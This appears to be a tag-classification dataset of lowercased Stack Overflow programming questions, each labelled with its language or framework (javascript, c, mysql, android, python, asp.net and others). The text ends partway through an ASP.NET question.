removing css from javascript   i have css style properties  sprinkled  through out my javascript code.      here is an example line:   <pre><code>label_element.style.opacity = 0; </code></pre>   i was planning on moving all css out of the code except classname changes.    for example if i need to dynamically change some css dynamically with javascript  i plan to consolidate the changes to a classname change as such:   <pre><code>.new_class{     label_element.style.opacity = 0; } </code></pre>   therefore to dynamically change css all changes are made with class changes as such:   <pre><code>div_el.classname =  new_class ; </code></pre>   all css remains in the css file this way.  javascript only has access to class names.    i wanted to verify/validate this is a good way to do it.,javascript
if it possible to get the abstract controller from a nested state in $stateprovider  i m using <code>$stateprovider</code> with <code>angularjs</code> and i m wondering if there s any way to get the abstract  or parent  controller from a child state. before you throw <code>$parent</code> out there  it doesn t seem to work as i thought it would.     example:   <pre><code>$stateprovider.state( page   {     url:  /page       abstract: true      cache: false      templateurl:  navigation.html       controller:  navigationcontroller         });  $stateprovider.state( page.login   {     url:  /login       templateurl:  ...       views:      {          login :         {             templateurl:  login.html               controller:  logincontroller          }    }      }); </code></pre>   so  the question is  how would i modify a value in <code>navigationcontroller</code> from <code>logincontroller</code>.    ex:   <pre><code>var navigationcontroller = function($scope) {     $scope.shownavigation = true; }  var logincontroller = function($scope) {     $scope.onclicked = function() {         // navigationcontroller::$scope.shownavigation = false     } } </code></pre>   i ve tried using <code>$scope.$parent.shownavigation</code> but that doesn t modify the value. printing <code>$scope.$parent</code> yields an unreadable nested object of the current scope.,angularjs
css circle-progress-bar  i would like to use the progress-bar here at <a href= https://bootsnipp.com/snippets/featured/circle-progress-bar  rel= nofollow noreferrer >https://bootsnipp.com/snippets/featured/circle-progress-bar</a>  but i don t know how to set less than 50% when you have 2  3 or more types (each got different percentage) of these on your website  because this code sets  right-side of bar for every type u got there and i don t know what to do when i want less than 50% only at 3.     <strong>type of bar:</strong>    <pre><code> .progress .progress-right .progress-bar{     left: -100%;     border-top-left-radius: 80px;     border-bottom-left-radius: 80px;     border-right: 0;     -webkit-transform-origin: center right;     transform-origin: center right;     animation: loading-1 1.8s linear forwards; }  +      @keyframes loading-1{     0%{         -webkit-transform: rotate(0deg);         transform: rotate(0deg);     }     100%{         -webkit-transform: rotate(180deg);         transform: rotate(180deg);     } </code></pre>   could someone help me please,css
codeforces  the new president    i tried to answer write a code to solve <a href= http://codeforces.com/gym/100155/problem/a  rel= nofollow >this</a> problem  but i m still getting a wrong answer at test 15 and i don t know what is missing in my code. i tried a lot of test cases but the code has solved them all correctly.    my code :   <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;vector&gt;  using namespace std;  int main() {     int c; cin &gt;&gt; c;     int v; cin &gt;&gt; v;      if (c == 1 &amp;&amp; v == 0)     {         cout &lt;&lt; 1 &lt;&lt;     &lt;&lt; 1;     }     else      {         int carray[c + 1];          int voting[v][c];         for (int j = 0; j&lt;v; j++)         {             for (int z = 0; z&lt;c; z++)             {                 int temp; cin &gt;&gt; temp;                 voting[j][z] = temp;             }         }         for (int j = 0; j &lt;= c; j++)carray[j] = 0;         for (int j = 0; j&lt;v; j++)carray[voting[j][0]]++;          int maxim = 0;         int maxn = 0;         int count = 0;         map&lt;int  int &gt; cand;         for (int j = 1; j &lt;= c; j++)         {             if (carray[j]&gt;maxn)             {                 cand.clear();                 cand[j] = 1;                 maxn = carray[j];                 maxim = j;                 count = 0;             }             else if (carray[j] == maxn)             {                 cand[j] = 1;                 count++;             }         }          if (count == 0)             cout &lt;&lt; maxim &lt;&lt;     &lt;&lt; 1;          else          {             for (int j = 0; j&lt;v; j++)             {                 for (int z = 1; z&lt;c; z++)                  {                     if (cand.count(voting[j][z]))                      {                         carray[voting[j][z]]++;                         break;                     }                 }             }              maxim = 0;             maxn = 0;             count = 0;             for (int j = 1; j &lt;= c; j++)             {                 if (carray[j]&gt;maxn)                 {                     maxn = carray[j];                     maxim = j;                     count = 0;                 }                 else if (carray[j] == maxn)                 {                     count++;                 }             }             cout &lt;&lt; maxim &lt;&lt;     &lt;&lt; 2;         }     }      return 0; } </code></pre>,c++
css :before pilcrow sign  i m trying to add a pilcrow (¶) sign before an element. this code works in safari only. the pilcrow appears.   <pre><code>.ydss-comment:before {  content: \b6\ ; color:red; font-size:1.5em; } </code></pre>   if i replace the \b6\ with a letter or any text or number    <pre><code>content: my text ; </code></pre>   the text appears correctly in firefox  both mac and pc  but no luck at all with ie.    thanks for any help.,css
what is the @ symbol used for in objective-c   i ve seen this symbol - @ everywhere  especially in java and php and none of my books ever explained what it s used for. i m learning objective-c right now and the code says   <pre><code>    @property (weak  nonatomic) iboutlet uitextfield *textfield; </code></pre>   i ve tried googling what @ is but no search results came up. can anyone tell me what it s used for,objective-c
how to remove cartesian combination of records in join dbms  i have to tables income and expense in mysql.     income table   <pre><code>sn i_type u_id year month inc_amount </code></pre>   expense table   <pre><code>sn e_type u_id year month exp_amount </code></pre>   i want to join the two tables above to calculate sum of income  sum of expense monthly as well as yearly basis. i have written the following query:   <pre><code>select income.year income.month sum(income.inc_amount) sum(expense.exp_amount)  from income expense  where income.u_id=expense.u_id  income.year=expense.year income.month=expense.month  group by income.year income.month </code></pre>   the avoid query displays the cartesian sum of the amount. i.e if there are three records of a particular u_id year  month in income table and 2 records of the same u_id  year  month. it gives the sum of income amount 2 times the actual amount since 1 record of first income table combines with two records of expense table. in the same way the sum of expense amount is 3 times since each record of second table combines with 3 record in first table.,mysql
problem using strstr function  i m having trouble using <code>strstr</code>. here s what i have:   <ol> <li> passing character array of length 21 bytes to a function. </li> <li> traversing through nodes of a linked list  comparing each node s character array with the above array passed as mentioned in point 1 </li> <li> <code>strstr</code> is always returning <code>null</code> irrespective of any string passed </li> <li> let s say for example code like <code>strstr( hello   he )</code>. it should return pointer to  hello   but that never happens in my code below. it is always returns <code>null</code>. </li> </ol>   here is the code snippet of the program:      <pre><code> void display_to_file(const char *chr c_uint32 pos_in_list c_uint32 line_no) {     node *search = ptrs_to_heads_of_alpha[pos_in_list];     char *chk;     char redundant[21]={ \0 };     int first=1;     uint32 count = 0;      while((null!=search) &amp;&amp; (count&lt;21))     {         printf( \nsearch-&gt;arg=%s  search-&gt;arg); /*for example search-&gt;arg is  hello */                   /*above statement prints  hello -correctly*/                                                               /*for example chr=  he  */                     printf( \nchr=%s  &amp;chr[1]); /*prints  he  correctly*/         chk=strstr(search-&gt;arg &amp;chr[1]);          if(chk != null) /*is always null- not known why it returns null even for valid cases*/               {             printf( \nentered_\n );             ++count;             if(1 == first)             {                 fprintf(op_fp    %s\n  search-&gt;arg);                 strcpy(redundant search-&gt;arg);                 printf( \nop:%s\n  search-&gt;arg);                 first = 0; /*only for first node print*/             }             else              {                 if(strcmp(redundant search-&gt;arg) == 0)/*duplicate found*/                     --count; /*need to search for one more item*/                 else                 {                     fprintf(op_fp    %s\n  search-&gt;arg);                     strcpy(redundant search-&gt;arg);                 }             }         }         else             printf( \nelse else else\n\n ); /*always this statement is executed even                                                                    if i passed valid arguments*/          search=search-&gt;next;     } } </code></pre>,c
using json causes my app to crash  i posted this app before but i had a problem with <code>sharedpreferences</code>. now i have a problem with <code>json</code>  my app started to crash just when i open it .. that started after i used <code>json</code> so here is the <code>mainactivity</code>    <pre><code>public class mainactivity extends appcompatactivity {     // temporary code note  noteadapter mnotadapter = new noteadapter(); private boolean msound; private int manimoption; private sharedpreferences mprefs; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     mnotadapter = new noteadapter();     listview listnote = (listview) findviewbyid(r.id.listview);     listnote.setadapter(mnotadapter);     // handle clicks on the listview     listnote.setonitemclicklistener(new adapterview.onitemclicklistener() {     @override     public void onitemclick(adapterview&lt; &gt; adapter  view view  int whichitem  long id) {         /*      create  a temporary note which is a reference to the note that has just been clicked         */         note tempnote = mnotadapter.getitem(whichitem);         // create a new dialog window         dialogshownote dialog = new dialogshownote();         // send in a reference to the note to be shown         dialog.sendnoteselected(tempnote);         // show the dialog window with the note in it         dialog.show(getfragmentmanager()    );     } }); }      @override public boolean oncreateoptionsmenu(menu menu){     menuinflater inflater = getmenuinflater();     inflater.inflate(r.menu.menu_main   menu);     return true; } @override public boolean onoptionsitemselected(menuitem item){     int id = item.getitemid();     if(id == r.id.action_add){         dialognewnote dialog = new dialognewnote();         dialog.show(getfragmentmanager()   );     }     else if(id == r.id.action_settings){         intent intent = new intent(this settingactivity.class);         startactivity(intent);         return true;     }     return true; } @override protected void onresume(){     super.onresume();     mprefs = getsharedpreferences( note to self   mode_private);     msound  = mprefs.getboolean( sound   true);     manimoption = mprefs.getint( anim option   settingactivity.fast); } @override protected void onpause() {     super.onpause();     mnotadapter.savenotes(); } public void createnewnote(note n){     // temporary code       mnotadapter.addnote(n); } public class noteadapter extends baseadapter {     list&lt;note&gt; notelist = new arraylist&lt;note&gt;();     private jsonserializer mserializer;     public noteadapter(){         mserializer = new jsonserializer( notetoself.json     mainactivity.this.getapplicationcontext());         try {             notelist = mserializer.load();         } catch (exception e) {             notelist = new arraylist&lt;note&gt;();             log.e( error loading notes:        e);         }     }     public void savenotes(){         try{             mserializer.save(notelist);     }catch(exception e){             log.e( error saving notes      e);         } }     @override     public int getcount() {         return notelist.size();     }     @override     public note getitem(int whichitem) {         return notelist.get(whichitem);      }     @override     public long getitemid(int whichitem) {         return whichitem;     }     @override  public view getview(int whichitem  view view  viewgroup viewgroup){         // implement this method next         // has view been inflated already          if(view == null){         // if not  do so here              // first create a layoutinflater              layoutinflater inflater = (layoutinflater) getsystemservice(context.layout_inflater_service);              // now instantiate view using inflater.inflate              // using the listitem layout              view = inflater.inflate(r.layout.listitem  viewgroup false);              // the false parameter is neccessary              // because of the way that we want to use listitem     }// end if     // grab a reference to all our textview and imageview widgets         textview txttitle = (textview) view.findviewbyid(r.id.texttitle);          textview txtdescription = (textview) view.findviewbyid (r.id.txtdescription);          imageview ivimportant = (imageview) view.findviewbyid (r.id.imageviewimportant);          imageview ivtodo = (imageview) view.findviewbyid(r.id.imageviewtodo);          imageview ividea = (imageview) view.findviewbyid (r.id.imageviewidea);     // hide any imageview widgets that are not relevant         note tempnote = notelist.get(whichitem);         if (!tempnote.isimportant()){                    ivimportant.setvisibility(view.gone);         }         if (!tempnote.istodo()){             ivtodo.setvisibility(view.gone);         }         if (!tempnote.isidea()) {             ividea.setvisibility(view.gone);         }         // add the text to the heading and description         txttitle.settext(tempnote.gettitle());         txtdescription.settext(tempnote.getdescription());         return view;     }     public void addnote(note n){         notelist.add(n);         notifydatasetchanged();     } } </code></pre>   here is my <code>jsonserializer</code> class which is supposed to <code>serialize</code> and <code>deserialize</code> the note   <pre><code>public class mainactivity extends appcompatactivity {     // temporary code note   noteadapter mnotadapter = new noteadapter(); private boolean msound; private int manimoption; private sharedpreferences mprefs; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     mnotadapter = new noteadapter();     listview listnote = (listview) findviewbyid(r.id.listview);     listnote.setadapter(mnotadapter);     // handle clicks on the listview     listnote.setonitemclicklistener(new adapterview.onitemclicklistener() {     @override     public void onitemclick(adapterview&lt; &gt; adapter  view view  int whichitem  long id) {         /*      create  a temporary note which is a reference to the note that has just been clicked         */         note tempnote = mnotadapter.getitem(whichitem);         // create a new dialog window         dialogshownote dialog = new dialogshownote();         // send in a reference to the note to be shown         dialog.sendnoteselected(tempnote);         // show the dialog window with the note in it         dialog.show(getfragmentmanager()    );     } }); }      @override public boolean oncreateoptionsmenu(menu menu){     menuinflater inflater = getmenuinflater();     inflater.inflate(r.menu.menu_main   menu);     return true; } @override public boolean onoptionsitemselected(menuitem item){     int id = item.getitemid();     if(id == r.id.action_add){         dialognewnote dialog = new dialognewnote();         dialog.show(getfragmentmanager()   );     }     else if(id == r.id.action_settings){         intent intent = new intent(this settingactivity.class);         startactivity(intent);         return true;     }     return true; } @override protected void onresume(){     super.onresume();     mprefs = getsharedpreferences( note to self   mode_private);     msound  = mprefs.getboolean( sound   true);     manimoption = mprefs.getint( anim option   settingactivity.fast); } @override protected void onpause() {     super.onpause();     mnotadapter.savenotes(); } public void createnewnote(note n){     // temporary code       mnotadapter.addnote(n); } public class noteadapter extends baseadapter {     list&lt;note&gt; notelist = new arraylist&lt;note&gt;();     private jsonserializer mserializer;     public noteadapter(){         mserializer = new jsonserializer( notetoself.json     mainactivity.this.getapplicationcontext());         try {             notelist = mserializer.load();         } catch (exception e) {             notelist = new arraylist&lt;note&gt;();             log.e( error loading notes:        e);         }     }     public void savenotes(){         try{             mserializer.save(notelist);     }catch(exception e){             log.e( error saving notes      e);         } }     @override     public int getcount() {         return notelist.size();     }     @override     public note getitem(int whichitem) {         return notelist.get(whichitem);      }     @override     public long getitemid(int whichitem) {         return whichitem;     }     @override  public view getview(int whichitem  view view  viewgroup viewgroup){         // implement this method next         // has view been inflated already          if(view == null){         // if not  do so here              // first create a layoutinflater              layoutinflater inflater = (layoutinflater) getsystemservice(context.layout_inflater_service);              // now instantiate view using inflater.inflate              // using the listitem layout              view = inflater.inflate(r.layout.listitem  viewgroup false);              // the false parameter is neccessary              // because of the way that we want to use listitem     }// end if     // grab a reference to all our textview and imageview widgets         textview txttitle = (textview) view.findviewbyid(r.id.texttitle);          textview txtdescription = (textview) view.findviewbyid (r.id.txtdescription);          imageview ivimportant = (imageview) view.findviewbyid (r.id.imageviewimportant);          imageview ivtodo = (imageview) view.findviewbyid(r.id.imageviewtodo);          imageview ividea = (imageview) view.findviewbyid (r.id.imageviewidea);     // hide any imageview widgets that are not relevant         note tempnote = notelist.get(whichitem);         if (!tempnote.isimportant()){                    ivimportant.setvisibility(view.gone);         }         if (!tempnote.istodo()){             ivtodo.setvisibility(view.gone);         }         if (!tempnote.isidea()) {             ividea.setvisibility(view.gone);         }         // add the text to the heading and description         txttitle.settext(tempnote.gettitle());         txtdescription.settext(tempnote.getdescription());         return view;     }     public void addnote(note n){         notelist.add(n);         notifydatasetchanged();     } } </code></pre>   here is my <code>note</code> class   <pre><code>public class note { private string mtitle; private string mdescription; private static final string json_title =  title ; private static final string json_description =  description ; private static final string json_idea =  idea  ; private static final string json_todo =  todo ; private static final string json_important =  important ; // constructor // only used when new is called with a jsonobject public note(jsonobject jo) throws jsonexception {     mtitle =  jo.getstring(json_title);     mdescription = jo.getstring(json_description);     midea = jo.getboolean(json_idea);     mtodo = jo.getboolean(json_todo);     mimportant = jo.getboolean(json_important); }        public note (){        }         public jsonobject converttojson() throws jsonexception{         jsonobject jo = new jsonobject();         jo.put(json_title   mtitle);         jo.put(json_description  mdescription);         jo.put(json_idea  midea);         jo.put(json_todo  mtodo);         jo.put(json_important  mimportant);         return jo;      }      public string gettitle() {           return mtitle;      }  public void settitle(string mtitle) {     this.mtitle = mtitle; }  public string getdescription() {     return mdescription; }  public void setdescription(string mdescription) {     this.mdescription = mdescription; }  public boolean isidea() {     return midea; }  public void setidea(boolean midea) {     this.midea = midea; }  public boolean istodo() {     return mtodo; }  public void settodo(boolean mtodo) {     this.mtodo = mtodo; }  public boolean isimportant() {     return mimportant; }  public void setimportant(boolean mimportant) {     this.mimportant = mimportant; }  private boolean midea; private boolean mtodo; private boolean mimportant;  } </code></pre>   here is my logcat   <blockquote>    11-29 09:52:16.757 4034-4034/  i/zygote: not late-enabling -xcheck:jni   (already on) 11-29 09:52:16.790 4034-4034/  w/zygote: unexpected cpu   variant for x86 using defaults: x86 11-29 09:52:16.837 4034-4041/    e/zygote: failed sending reply to debugger: broken pipe 11-29   09:52:16.838 4034-4041/  i/zygote: debugger is no longer active 11-29   09:52:17.303 4034-4034/  i/instantrun: starting instant run server: is   main process 11-29 09:52:17.434 4034-4034/  d/androidruntime: shutting   down vm 11-29 09:52:17.443 4034-4034/  e/androidruntime: fatal   exception: main                                                    process: com.gamecodeschool.notetomyself  pid: 4034                                                    java.lang.runtimeexception: unable to instantiate activity   componentinfo{com.gamecodeschool.notetomyself/com.gamecodeschool.notetomyself.mainactivity}:   java.lang.nullpointerexception: attempt to invoke virtual method    android.content.context   android.content.context.getapplicationcontext()  on a null object   reference                                                        at android.app.activitythread.performlaunchactivity(activitythread.java:2679)                                                        at android.app.activitythread.handlelaunchactivity(activitythread.java:2856)                                                        at android.app.activitythread.-wrap11(unknown source:0)                                                        at android.app.activitythread$h.handlemessage(activitythread.java:1589)                                                        at android.os.handler.dispatchmessage(handler.java:106)                                                        at android.os.looper.loop(looper.java:164)                                                        at android.app.activitythread.main(activitythread.java:6494)                                                        at java.lang.reflect.method.invoke(native method)                                                        at com.android.internal.os.runtimeinit$methodandargscaller.run(runtimeinit.java:438)                                                        at com.android.internal.os.zygoteinit.main(zygoteinit.java:807)                                                     caused by: java.lang.nullpointerexception: attempt to invoke virtual method    android.content.context   android.content.context.getapplicationcontext()  on a null object   reference                                                        at android.content.contextwrapper.getapplicationcontext(contextwrapper.java:108)                                                        at com.gamecodeschool.notetomyself.mainactivity$noteadapter.(mainactivity.java:92)                                                        at com.gamecodeschool.notetomyself.mainactivity.(mainactivity.java:27)                                                        at java.lang.class.newinstance(native method)                                                        at android.app.instrumentation.newactivity(instrumentation.java:1174)                                                        at android.app.activitythread.performlaunchactivity(activitythread.java:2669)                                                        at android.app.activitythread.handlelaunchactivity(activitythread.java:2856)                                                         at android.app.activitythread.-wrap11(unknown source:0)                                                         at android.app.activitythread$h.handlemessage(activitythread.java:1589)                                                         at android.os.handler.dispatchmessage(handler.java:106)                                                         at android.os.looper.loop(looper.java:164)                                                         at android.app.activitythread.main(activitythread.java:6494)                                                         at java.lang.reflect.method.invoke(native method)                                                         at com.android.internal.os.runtimeinit$methodandargscaller.run(runtimeinit.java:438)                                                         at com.android.internal.os.zygoteinit.main(zygoteinit.java:807)  </blockquote>,android
how to assign a uitextfield to a nsstring (with uitouchevent error )  i m simply trying to assign a uitextfield.text to an nsstring in my object. the code errors out when i try to print the enteredlocation.text but i have no idea why. i thought it was a type mismatch  but both are nsstring. any idea    <pre><code>- (ibaction) submitpushed: (uitextfield*)enteredname: (uitextfield*)enteredcell: (uitextfield*)enteredlocation; {     exampleappdataobject* thedataobject = [self theappdataobject];     nslog(@ loc  %@   enteredlocation.text);     thedataobject.location = enteredlocation.text;     nslog(@ dataobj  %@   thedataobject.location);  } </code></pre>   i always get this error:   <pre><code>2011-08-20 10:28:13.602 viewcontrollerdatasharing[3188:207] -[uitouchesevent text]: unrecognized selector sent to instance 0x4e07780 2011-08-20 10:28:13.607 viewcontrollerdatasharing[3188:207] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uitouchesevent text]: unrecognized selector sent to instance 0x4e07780  </code></pre>   but uitouchevent  how does that relate  i ctrl-clicked the button to the method in my .m file. is there a step missing  i tried checking if the text is     but it won t even get that far.    i have the i m a major newbie  so thanks in advance. i ve read 100s of answers on this site  and love it!! so helpful!    thanks! mark,objective-c
objectforkey vs valueforkey - difference between objectforkey and valueforkey  good morning friends <br /> i am new to ios development and i want to know what is the difference between objectforkey and valueforkey. who is the best in the way of performance  <br /> thanks in advance,objective-c
how to fix wrong imported datetime in mysql  i did an import from a csv file into the database and didnt recognize that the date was formated wrong so i ended up with dates like this:    <pre><code>2027-05-14 00:00:00 </code></pre>   instead of this   <pre><code>2014-05-27 00:00:00 </code></pre>   i found this query but its not really what i am looking for. as im just able to maniuplate the year but what i need actually is extracting the last 2 position of the year and set this as the day. the year is always 2014 and the month can stay as it is.   <pre><code>update table_name set date_col=date_format(date_col  2014-%m-%d %t ); </code></pre>,mysql
possible to create new variable with new name upon button onclick   i was wondering if it was possible to create a new variable when a button is pressed. for example: if i have a variable named enemy1 and the button is pressed  can a variable named enemy2 be created  i m sorry if this seems like a silly question.  i wanted to create a for loop where i can define a variable thats name changes depending on  i .,javascript
c compile io error  i m trying to output the contents of a buffer to a file but i m getting compile error that i cannot decipher. can someone clarify what i m doing wrong and how to correct it. thanks.   <pre><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netdb.h&gt; #include &lt;sdtio&gt;  #define server_port 4444     #define buf_size 4096    #define file *fptr  int main(int argc  char **argv) {     fptr = fopen( testfile.pdf    wb );     int c  s  bytes;    char buf[buf_size];              struct hostent *h;               struct sockaddr_in channel;           if (argc != 3) fatal( usage: client server-name file-name );    h = gethostbyname(argv[1]);          if (!h) fatal( gethostbyname failed );     s = socket(pf_inet  sock_stream  ipproto_tcp);    if (s &lt; 0) fatal( socket );    memset(&amp;channel  0  sizeof(channel));    channel.sin_family= af_inet;    memcpy(&amp;channel.sin_addr.s_addr  h-&gt;h_addr  h-&gt;h_length);    channel.sin_port= htons(server_port);    c = connect(s  (struct sockaddr *) &amp;channel  sizeof(channel));    if (c &lt; 0) fatal( connect failed );     write(s  argv[2]  strlen(argv[2])+1);     while (1) {      bytes = read(s  buf  buf_size);          if (bytes &lt;= 0) exit(0);         write(1  buf  bytes);        fputs(s fptr);    }    fclose(fptr); }     fatal(char *string)    {       printf( %s\n   string);       exit(1);    } </code></pre>   the error i m getting is:      <pre><code>p2client2.c: in function âmainâ: p2client2.c:14: error: âfptrâ undeclared (first use in this function) p2client2.c:14: error: (each undeclared identifier is reported only once p2client2.c:14: error: for each function it appears in.) </code></pre>,c
bloomfilter python  i am new to python and trying to create a bloomfilter based on bit torrent bep 33. i have created bloom filter but it is not exactly what i am looking for. here s what i need and i have not completely understood this situation. if someone here can explain ...   <pre><code>//fixed parameters  k = 2  m = 256*8  //the filter byte[m/8] bloom   ## what is this part   function insertip(byte[] ip) {      byte[20] hash = sha1(ip)      int index1 = hash[0] | hash[1] &lt;&lt; 8     int index2 = hash[2] | hash[3] &lt;&lt; 8      // truncate index to m (11 bits required)     index1 %= m  ##       index2 %= m  ##        // set bits at index1 and index2     bloom[index1 / 8] |= 0x01 &lt;&lt; index1 % 8   ##        bloom[index2 / 8] |= 0x01 &lt;&lt; index2 % 8   ##     }   // insert ip 192.168.1.1 into the filter:  insertip(byte[4] {192 168 1 1}) </code></pre>   and this is what i have created    <pre><code>import hashlib m = 2048 def hashes(s):     index = [0  0]     #for c in s:         #o = ord(c)     index[0] = hashlib.sha224(index[0]).hexdigest ## this needs integer hash     index[1] = hashlib.sha224(index[1]).hexdigest ## same as above       return [x % m for x in index]  class bloomfilter(object):     def __init__(self):         self.bitarray = [0] * m      def add(self  s):         for x in hashes(s):             self.bitarray[x] = 1         #print self.bitarray     def query(self  s):         return all(self.bitarray[x] == 1 for x in hashes(s))  shazib=bloomfilter() shazib.add( 192.168.0.1 ) print shazib.query( 192.168.0.1 ) </code></pre>,python
rails - slug causing wrong id to be passed with edit controller  i have a slug defined as following:   <pre><code>def slug   name.downcase.gsub(      - ) end def to_param      #{id}-#{slug}  end </code></pre>   my edit controller has the following:   <pre><code>@lightnovel = lightnovel.find(params[:id]) </code></pre>   in my edit view form:   <pre><code>&lt;%= form_for(@lightnovel) do |f| %&gt; &lt;div class =  field &gt;     &lt;%= f.label :name  %&gt;     &lt;%= f.text_area :name %&gt;&lt;br&gt; &lt;/div&gt; &lt;div class =  field &gt;     &lt;%= f.label :series  %&gt;     &lt;%= f.text_area :series %&gt;&lt;br&gt; &lt;/div&gt; &lt;div class= actions &gt;    &lt;%= f.submit %&gt;  &lt;/div&gt;  &lt;% end %&gt; </code></pre>   when i edit a record and submit it i am getting an error. the problem is the id that it is using is from the modification from the slug instead of just the id.(attached below)   <pre><code>{ utf8 =&gt; ✓    _method =&gt; patch    authenticity_token =&gt; 8tgbnfkuhobhd4yisawtwmc0lc4zikxom3oeakgkkpvjkqyro2jpwphmwwxtvs5lfgcxviqvi4xhvpngfnwnhw==     lightnovel =&gt;{ name =&gt; cd     series =&gt; cd }    commit =&gt; update lightnovel     id =&gt; 5-cd } </code></pre>   the id being used must be 5 instead of  5-cd . what should i do to change this,ruby-on-rails
how to sort strings with times by time in java   i have set of strings like    <pre><code> 12:00:10  some words here   12:10:32  some words here    13:02:46  some words here   12:39:12  some words here  </code></pre>   if the time is <code>hh:mm:ss</code> format  how do i sort these lines so that i get this output:   <pre><code> 12:00:10  some words here   12:10:32  some words here   12:39:12  some words here   12:39:12  some words here  </code></pre>,java
is .net core == .net framework 5   i have been looking for books to study the latest .net framework. as far as i know .net is up to 4.6 but asp.net is up to 5(core)    is .net core the name for .net 5 or are we still currently at .net 4.6,.net
help in locating the url rewrites in place for an asp.net website  first off i ll advise i m not familiar with implementing url re writing on any level.    that said i do know there are 2 types or rewrites setup for this site.    one i can locate and is solely responsible for top level rewrites (turning .com to .co.uk)    there is another rewriter implemented somehow somewhere  very early on in a pages lifecycle and i cannot find how or where the site is doing this. it s possible it s all handled in a 3rd party dll but i would like to know the steps i might go through to prove or disprove this.    thanks,asp.net
how to solve  local variables references from an inner class must be final of effectively final    i have this code and i want to set a value to my <code>enum</code> variable in <code>actionperformed</code> listener in button  but it says:   <blockquote>    local variables references from an inner class must be final of effectively final  </blockquote>   code:   <pre><code>public class myclass {     public enum userchoice {         yes  no     }      public void addaction() {         jbutton btnyes = new jbutton();         userchoice userchoice;         btnyes.addactionlistener(new java.awt.event.actionlistener() {             public void actionperformed(java.awt.event.actionevent e) {                 userchoice = 1;                 dlg.dispose();             }         });     } } </code></pre>   how can i solve it,java
what does this mean in my boss s python code   this is the code :   <pre><code>modulename  classname =  settings.app_user_class.rsplit( .  1 ) modulemeta = __import__(modulename  globals()  locals()   [classname]) </code></pre>   i don t understand this:  <code>__import__(modulename  globals()  locals()   [classname])</code>  mean      so what is it      thanks,python
asp.net control inside div not showing up in browser  i have a table made out of divs. theere is a main div as the table  then divs acting as a table cell  and table row. inside the cells i have a label and a textbox. all are asp.net controls(textbox label). everything seems to show up in the browser except for one particular column and i have no idea why. the  maiden name  column won t show.    code:   <pre><code>&lt;div class= block &gt;            &lt;div class= line &gt;                  &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersonlastname  runat= server  text= last name:    meta:resourcekey= lblpersonlastnameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonlastname  runat= server  maxlength= 200  width= 120px  meta:resourcekey= txtpersonlastnameresource1 /&gt;                 &lt;/div&gt;                    &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersondateofbirth  runat= server  text= date of birth:  meta:resourcekey= lblpersondateofbirthresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                     &lt;asp:textbox id= txtpersondateofbirth  runat= server  maxlength= 20  width= 120px  meta:resourcekey= txtpersondateofbirthresource1 /&gt;                     &lt;asp:regularexpressionvalidator id= regvaldate  runat= server  controltovalidate= txtpersondateofbirth  errormessage= date format must be yyyy/mm/dd or yyyy-mm-dd  validationexpression= (^[0-9]{4 4}(/|-)[0-1][0-9](/|-)[0-3][0-9]$)  validationgroup= addperson  meta:resourcekey= regvaldateresource1 &gt;*&lt;/asp:regularexpressionvalidator&gt;                 &lt;/div&gt;              &lt;/div&gt;              &lt;div class= line &gt;                &lt;div class= labelcell &gt;                      &lt;asp:label id= lblpersonfirstname  runat= server  text= first name:   meta:resourcekey= lblpersonfirstnameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                         &lt;asp:textbox id= txtpersonfirstname  runat= server  maxlength= 200  width= 120px  meta:resourcekey= txtpersonfirstnameresource1 /&gt;                 &lt;/div&gt;                  &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersonagerange  runat= server  text= age between:  meta:resourcekey= lblpersonagerangeresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                     &lt;asp:textbox id= txtpersonagerangelow  runat= server  width= 30px  meta:resourcekey= txtpersonagerangelowresource1 /&gt;                     &amp;nbsp;&lt;asp:label id= lblpersonagerangeand  runat= server  text= and  height= 25px  meta:resourcekey= lblpersonagerangeandresource1 /&gt;&amp;nbsp;                     &lt;asp:textbox id= txtpersonagerangehigh  runat= server  width= 30px  meta:resourcekey= txtpersonagerangehighresource1  /&gt;                 &lt;/div&gt;             &lt;/div&gt;               &lt;div class= line &gt;                 &lt;div class= labelcell &gt;                      &lt;asp:label id= lblpersonmiddlename  runat= server  text= middle name:   meta:resourcekey= lblpersonmiddlenameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonmiddlename  runat= server  maxlength= 128  width= 120px  meta:resourcekey= txtpersonmiddlenameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersonsex  runat= server  text= sex:  meta:resourcekey= lblpersonsexresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                     &lt;asp:radiobutton id= rdbpersonsexmale  runat= server  autopostback= true  ondatabinding= sexchange  oncheckedchanged= sexchange  groupname= personsex  text= male   meta:resourcekey= rdbpersonsexmaleresource1 /&gt;                     &lt;asp:radiobutton id= rdbpersonsexfemale  runat= server  autopostback= true  ondatabinding= sexchange   oncheckedchanged= sexchange  groupname= personsex  text= female   meta:resourcekey= rdbpersonsexfemaleresource1  /&gt;                 &lt;/div&gt;             &lt;/div&gt;              &lt;div class= line &gt;              &lt;div class= labelcell &gt;                 &lt;asp:label id= lblpersonstatus  runat= server  text= status:   meta:resourcekey= lblpersonstatusresource1 /&gt;               &lt;/div&gt;               &lt;div class= cell &gt;                   &lt;asp:dropdownlist id= ddlpersonstatus  runat= server  appenddatabounditems= true  datasourceid= dspersonstatus  datatextfield= status  datavaluefield= statusid  onprerender= ddlpersonstatus_prerender  width= 120px  meta:resourcekey= ddlpersonstatusresource1 &gt;                     &lt;asp:listitem value= -1  meta:resourcekey= listitemresource2 &gt;--select--&lt;/asp:listitem&gt;                 &lt;/asp:dropdownlist&gt;             &lt;/div&gt;                  &lt;div class= labelcell &gt;                      